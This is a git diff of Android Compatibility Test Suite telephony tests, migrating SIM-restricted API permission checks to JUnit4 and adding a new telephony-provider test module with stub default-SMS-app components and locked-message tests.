-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsTelephony2TestCases
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-LOCAL_JAVA_LIBRARIES += android.test.base.stubs
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephony2/src/android/telephony2/cts/PhoneNumberTest.java b/tests/tests/telephony2/src/android/telephony2/cts/PhoneNumberTest.java
index 8149baa..24ea21f 100644
--- a/tests/tests/telephony2/src/android/telephony2/cts/PhoneNumberTest.java
+++ b/tests/tests/telephony2/src/android/telephony2/cts/PhoneNumberTest.java
@@ -16,18 +16,23 @@
 
 package android.telephony2.cts;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.ParcelFileDescriptor;
 import android.telephony.TelephonyManager;
-import android.test.InstrumentationTestCase;
 import android.util.Log;
 
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 
-public class PhoneNumberTest extends InstrumentationTestCase {
+import org.junit.Test;
+
+public class PhoneNumberTest {
     private static final String TAG = "PhoneNumberTest";
 
     private void setDefaultSmsApp(boolean setToSmsApp) {
@@ -49,6 +54,7 @@
         }
     }
 
+    @Test
     public void testGetLine1Number() {
         Context context = getInstrumentation().getContext();
         PackageManager packageManager = context.getPackageManager();
diff --git a/tests/tests/telephony4/AndroidTest.xml b/tests/tests/telephony4/AndroidTest.xml
index 636ecbb..057a2eb 100644
--- a/tests/tests/telephony4/AndroidTest.xml
+++ b/tests/tests/telephony4/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Telephony4 test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java b/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
index dd56952..5705f4e 100644
--- a/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
+++ b/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
@@ -16,18 +16,22 @@
 
 package android.telephony4.cts;
 
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.telephony.SmsManager;
 import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
+import org.junit.Before;
+import org.junit.Test;
 
-public class SimRestrictedApisTest extends AndroidTestCase {
+public class SimRestrictedApisTest {
     private static final byte[] TEST_PDU = { 0, 0 };
     private TelephonyManager mTelephonyManager;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mTelephonyManager =
                 (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
     }
@@ -41,6 +45,7 @@
      * Tests the SmsManager.injectSmsPdu() API. This makes a call to injectSmsPdu() API and expects
      * a SecurityException since the test apk is not signed by a certificate on the SIM.
      */
+    @Test
     public void testInjectSmsPdu() {
         try {
             if (isSimCardPresent()) {
@@ -56,10 +61,11 @@
      * setLine1NumberForDisplay() API and expects a SecurityException since the test apk is not
      * signed by a certificate on the SIM.
      */
+    @Test
     public void testSetLine1NumberForDisplay() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().setLine1NumberForDisplay("", "");
+                mTelephonyManager.setLine1NumberForDisplay("", "");
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -71,11 +77,29 @@
      * iccOpenLogicalChannel() API and expects a SecurityException since the test apk is not signed
      * by certificate on the SIM.
      */
+    @Test
     public void testIccOpenLogicalChannel() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().iccCloseLogicalChannel(
-                        TelephonyManager.getDefault().iccOpenLogicalChannel("").getChannel());
+                mTelephonyManager.iccCloseLogicalChannel(
+                        mTelephonyManager.iccOpenLogicalChannel("").getChannel());
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Tests the TelephonyManager.iccOpenLogicalChannelBySlot() API. This makes a call to
+     * iccOpenLogicalChannelBySlot() API and expects a SecurityException since the test apk is not
+     * signed by certificate on the SIM.
+     */
+    @Test
+    public void testIccOpenLogicalChannelBySlot() {
+        try {
+            if (isSimCardPresent()) {
+                mTelephonyManager.iccCloseLogicalChannelBySlot(0,
+                        mTelephonyManager.iccOpenLogicalChannel("").getChannel());
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -87,10 +111,11 @@
      * iccCloseLogicalChannel() API and expects a SecurityException since the test apk is not signed
      * by certificate on the SIM.
      */
+    @Test
     public void testIccCloseLogicalChannel() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().iccCloseLogicalChannel(0);
+                mTelephonyManager.iccCloseLogicalChannel(0);
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -98,14 +123,15 @@
     }
 
     /**
-     * Tests the TelephonyManager.iccTransmitApduLogicalChannel() API. This makes a call to
-     * iccTransmitApduLogicalChannel() API and expects a SecurityException since the test apk is not
-     * signed by a certificate on the SIM.
+     * Tests the TelephonyManager.iccCloseLogicalChannelBySlot() API. This makes a call to
+     * iccCloseLogicalChannelBySlot() API and expects a SecurityException since the test apk is not
+     * signed by certificate on the SIM.
      */
-    public void testIccTransmitApduLogicalChannel() {
+    @Test
+    public void testIccCloseLogicalChannelBySlot() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().iccTransmitApduLogicalChannel(0, 0, 0, 0, 0, 0, "");
+                mTelephonyManager.iccCloseLogicalChannelBySlot(0, 0);
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -117,10 +143,59 @@
      * iccTransmitApduBasicChannel() API and expects a SecurityException since the test apk is not
      * signed by a certificate on the SIM.
      */
+    @Test
     public void testIccTransmitApduBasicChannel() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().iccTransmitApduBasicChannel(0, 0, 0, 0, 0, "");
+                mTelephonyManager.iccTransmitApduBasicChannel(0, 0, 0, 0, 0, "");
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Tests the TelephonyManager.iccTransmitApduBasicChannelBySlot() API. This makes a call to
+     * iccTransmitApduBasicChannelBySlot() API and expects a SecurityException since the test apk is
+     * not signed by a certificate on the SIM.
+     */
+    @Test
+    public void testIccTransmitApduBasicChannelBySlot() {
+        try {
+            if (isSimCardPresent()) {
+                mTelephonyManager.iccTransmitApduBasicChannelBySlot(0, 0, 0, 0, 0, 0, "");
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Tests the TelephonyManager.iccTransmitApduLogicalChannel() API. This makes a call to
+     * iccTransmitApduLogicalChannel() API and expects a SecurityException since the test apk is not
+     * signed by a certificate on the SIM.
+     */
+    @Test
+    public void testIccTransmitApduLogicalChannel() {
+        try {
+            if (isSimCardPresent()) {
+                mTelephonyManager.iccTransmitApduLogicalChannel(0, 0, 0, 0, 0, 0, "");
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
+
+    /**
+     * Tests the TelephonyManager.iccTransmitApduLogicalChannelBySlot() API. This makes a call to
+     * iccTransmitApduLogicalChannelBySlot() API and expects a SecurityException since the test apk
+     * is not signed by a certificate on the SIM.
+     */
+    @Test
+    public void testIccTransmitApduLogicalChannelBySlot() {
+        try {
+            if (isSimCardPresent()) {
+                mTelephonyManager.iccTransmitApduLogicalChannelBySlot(0, 0, 0, 0, 0, 0, 0, "");
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -132,10 +207,11 @@
      * sendEnvelopeWithStatus() API and expects a SecurityException since the test apk is not signed
      * by certificate on the SIM.
      */
+    @Test
     public void testSendEnvelopeWithStatus() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().sendEnvelopeWithStatus("");
+                mTelephonyManager.sendEnvelopeWithStatus("");
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -146,10 +222,11 @@
      * Tests the TelephonyManager.nvReadItem() API. This makes a call to nvReadItem() API and
      * expects a SecurityException since the test apk is not signed by a certificate on the SIM.
      */
+    @Test
     public void testNvReadItem() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().nvReadItem(0);
+                mTelephonyManager.nvReadItem(0);
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -160,10 +237,11 @@
      * Tests the TelephonyManager.nvResetConfig() API. This makes a call to nvResetConfig() API and
      * expects a SecurityException since the test apk is not signed by a certificate on the SIM.
      */
+    @Test
     public void testNvResetConfig() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().nvResetConfig(1);
+                mTelephonyManager.nvResetConfig(1);
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -175,10 +253,11 @@
      * getPreferredNetworkType() API and expects a SecurityException since the test apk is not
      * signed by certificate on the SIM.
      */
+    @Test
     public void testGetPreferredNetworkType() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().getPreferredNetworkType(0);
+                mTelephonyManager.getPreferredNetworkType(0);
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -190,10 +269,11 @@
      * setPreferredNetworkTypeToGlobal() API and expects a SecurityException since the test apk is not
      * signed by certificate on the SIM.
      */
+    @Test
     public void testSetPreferredNetworkTypeToGlobal() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().setPreferredNetworkTypeToGlobal();
+                mTelephonyManager.setPreferredNetworkTypeToGlobal();
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -203,6 +283,7 @@
     /**
      * Tests that the test apk doesn't have carrier previliges.
      */
+    @Test
     public void testHasCarrierPrivileges() {
         if (mTelephonyManager.hasCarrierPrivileges()) {
             fail("App unexpectedly has carrier privileges");
@@ -214,10 +295,11 @@
      * setOperatorBrandOverride() API and expects a SecurityException since the test apk is not
      * signed by certificate on the SIM.
      */
+    @Test
     public void testSetOperatorBrandOverride() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().setOperatorBrandOverride("");
+                mTelephonyManager.setOperatorBrandOverride("");
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
@@ -229,14 +311,31 @@
      * getIccAuthentication() API and expects a SecurityException since the test apk is not
      * signed by certificate on the SIM.
      */
+    @Test
     public void testGetIccAuthentication() {
         try {
             if (isSimCardPresent()) {
-                TelephonyManager.getDefault().getIccAuthentication(TelephonyManager.APPTYPE_USIM,
+                mTelephonyManager.getIccAuthentication(TelephonyManager.APPTYPE_USIM,
                         TelephonyManager.AUTHTYPE_EAP_AKA, "");
                 fail("Expected SecurityException. App doesn't have carrier privileges.");
             }
         } catch (SecurityException expected) {
         }
     }
+
+    /**
+     * Tests the TelephonyManager.getUiccCardsInfo() API. This makes a call to  getUiccCardsInfo()
+     * API and expects a SecurityException since the test apk is not signed by certficate on the
+     * SIM.
+     */
+    @Test
+    public void testGetUiccCardsInfo() {
+        try {
+            if (isSimCardPresent()) {
+                mTelephonyManager.getUiccCardsInfo();
+                fail("Expected SecurityException. App doesn't have carrier privileges.");
+            }
+        } catch (SecurityException expected) {
+        }
+    }
 }
diff --git a/tests/tests/telephonyprovider/Android.mk b/tests/tests/telephonyprovider/Android.mk
new file mode 100755
index 0000000..e5ee42be
--- /dev/null
+++ b/tests/tests/telephonyprovider/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util-axt \
+    androidx.test.rules \
+    truth-prebuilt
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_PACKAGE_NAME := CtsTelephonyProviderTestCases
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telephonyprovider/AndroidManifest.xml b/tests/tests/telephonyprovider/AndroidManifest.xml
new file mode 100755
index 0000000..9a9e618
--- /dev/null
+++ b/tests/tests/telephonyprovider/AndroidManifest.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telephonyprovider.cts"
+    android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <!-- Required to be default SMS app -->
+        <receiver android:name="android.telephonyprovider.TelephonyProviderSmsDeliverReceiver"
+                  android:permission="android.permission.BROADCAST_SMS">
+
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+            </intent-filter>
+
+        </receiver>
+
+        <!-- Required to be default SMS app -->
+        <receiver android:name="android.telephonyprovider.TelephonyProviderWapPushDeliverReceiver"
+                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+
+            <intent-filter>
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
+                <data android:mimeType="application/vnd.wap.mms-message" />
+            </intent-filter>
+
+        </receiver>
+
+        <!-- Required to be default SMS app -->
+        <service android:name="android.telephonyprovider.TelephonyProviderService"
+                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+                 android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="sms" />
+                <data android:scheme="smsto" />
+                <data android:scheme="mms" />
+                <data android:scheme="mmsto" />
+            </intent-filter>
+        </service>
+
+        <!-- Required to be default SMS app -->
+        <activity
+            android:name="android.telephonyprovider.TelephonyProviderActivity"
+            android:label="Telephony Provider CTS Test Activity"
+            android:windowSoftInputMode="stateHidden">
+
+            <intent-filter>
+                <action android:name="android.intent.action.SEND" />
+                <action android:name="android.intent.action.SENDTO" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="sms" />
+                <data android:scheme="smsto" />
+                <data android:scheme="mms" />
+                <data android:scheme="mmsto" />
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS telephony provider tests"
+        android:targetPackage="android.telephonyprovider.cts" >
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/telephonyprovider/AndroidTest.xml b/tests/tests/telephonyprovider/AndroidTest.xml
new file mode 100644
index 0000000..a93a095
--- /dev/null
+++ b/tests/tests/telephonyprovider/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Telephony Provider test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTelephonyProviderTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telephonyprovider.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/telephonyprovider/OWNERS b/tests/tests/telephonyprovider/OWNERS
new file mode 100644
index 0000000..92458db
--- /dev/null
+++ b/tests/tests/telephonyprovider/OWNERS
@@ -0,0 +1,12 @@
+amitmahajan@google.com
+fionaxu@google.com
+jackyu@google.com
+rgreenwalt@google.com
+refuhoo@google.com
+mpq@google.com
+jminjie@google.com
+shuoq@google.com
+hallliu@google.com
+tgunn@google.com
+breadley@google.com
+nazaninb@google.com
diff --git a/tests/tests/telephonyprovider/TEST_MAPPING b/tests/tests/telephonyprovider/TEST_MAPPING
new file mode 100644
index 0000000..ee02cd3
--- /dev/null
+++ b/tests/tests/telephonyprovider/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelephonyProviderTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderActivity.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderActivity.java
new file mode 100644
index 0000000..0279a92
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider;
+
+import android.app.Activity;
+
+/**
+ * This activity is used to provide the interface required for a default SMS application. It
+ * intentionally has no custom behavior.
+ */
+public class TelephonyProviderActivity extends Activity {}
+
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderService.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderService.java
new file mode 100644
index 0000000..56b3e08
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderService.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider;
+
+import android.app.IntentService;
+import android.content.Intent;
+
+/**
+ * This service is used to provide the interface required for a default SMS application. It
+ * intentionally has no custom behavior.
+ */
+public class TelephonyProviderService extends IntentService {
+    private static final String TAG = "TelephonyProviderService";
+
+    public TelephonyProviderService() {
+        super(TAG);
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        // Do nothing
+    }
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderSmsDeliverReceiver.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderSmsDeliverReceiver.java
new file mode 100644
index 0000000..f8b5a17
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderSmsDeliverReceiver.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * This receiver is used to provide the interface required for a default SMS application. It
+ * intentionally has no custom behavior.
+ */
+public class TelephonyProviderSmsDeliverReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        // Do nothing
+    }
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderWapPushDeliverReceiver.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderWapPushDeliverReceiver.java
new file mode 100644
index 0000000..210eae9
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/TelephonyProviderWapPushDeliverReceiver.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * This receiver is used to provide the interface required for a default SMS application. It
+ * intentionally has no custom behavior.
+ */
+public class TelephonyProviderWapPushDeliverReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        // Do nothing
+    }
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
new file mode 100644
index 0000000..01c1e60
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import androidx.test.InstrumentationRegistry;
+
+class DefaultSmsAppHelper {
+    static void ensureDefaultSmsApp() {
+        String packageName =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageName();
+
+        runShellCommand(
+                String.format("settings put secure sms_default_application %s", packageName));
+
+
+        // FIXME: Required because setting default SMS app to a given package adds appops WRITE_SMS
+        // permissions to the given package, but changing away from a given package seem to remove
+        // the appops permission from the given package. This is a known issue and should be fixed
+        // for Q.
+        runShellCommand(String.format("appops set %s WRITE_SMS allow", packageName));
+    }
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/LockedMessageTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/LockedMessageTest.java
new file mode 100644
index 0000000..f3d04cb
--- /dev/null
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/LockedMessageTest.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephonyprovider.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Telephony;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Ignore;
+import org.junit.Test;
+
+@SmallTest
+public class LockedMessageTest {
+    private static final String MMS_SUBJECT_ONE = "MMS Subject CTS One";
+    private static final String SMS_SUBJECT_TWO = "SMS Subject CTS One";
+    private static final String TEST_SMS_BODY = "TEST_SMS_BODY";
+    private static final String TEST_ADDRESS = "+19998880001";
+    private static final int TEST_THREAD_ID = 101;
+
+    private ContentResolver mContentResolver;
+
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @AfterClass
+    public static void cleanup() {
+        ContentResolver contentResolver = getInstrumentation().getContext().getContentResolver();
+        contentResolver.delete(Telephony.Mms.CONTENT_URI, null, null);
+        contentResolver.delete(Telephony.Sms.CONTENT_URI, null, null);
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        cleanup();
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    }
+
+    /**
+     * The purpose of this test is to check at least one locked message found in the union of MMS
+     * and SMS messages.
+     */
+    @Test
+    @Ignore
+    public void testLockedMessage_atMostOneLockedMessage() {
+        Uri mmsUri = insertMmsWithLockedMessage();
+        String mmsId = mmsUri.getLastPathSegment();
+
+        Uri smsUri = insertSmsWithLockedMessage();
+        String smsId = smsUri.getLastPathSegment();
+
+        Cursor cursor = mContentResolver.query(Telephony.MmsSms.CONTENT_LOCKED_URI, null, null,
+                null);
+        assertThat(cursor.getCount()).isEqualTo(1);
+        assertThat(cursor.moveToFirst()).isEqualTo(true);
+        assertThat(cursor.getColumnCount()).isEqualTo(1);
+        assertThat(cursor.getColumnNames()).isEqualTo(new String[]{Telephony.BaseMmsColumns._ID});
+        assertThat(cursor.getInt(cursor.getColumnIndex(Telephony.BaseMmsColumns._ID)))
+                .isNotEqualTo(Integer.parseInt(mmsId));
+        assertThat(cursor.getInt(cursor.getColumnIndex(Telephony.BaseMmsColumns._ID)))
+                .isEqualTo(Integer.parseInt(smsId));
+    }
+
+    /**
+     * The purpose of this test is to check there is no locked message found in the union of MMS and
+     * SMS messages.
+     */
+    @Test
+    public void testLockedMessage_getNoLockedMessage() {
+        Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE, Telephony.Sms.MESSAGE_TYPE_SENT);
+        assertThat(mmsUri).isNotNull();
+        Cursor mmsCursor = mContentResolver.query(mmsUri, null, null, null);
+        assertThat(mmsCursor.getCount()).isEqualTo(1);
+
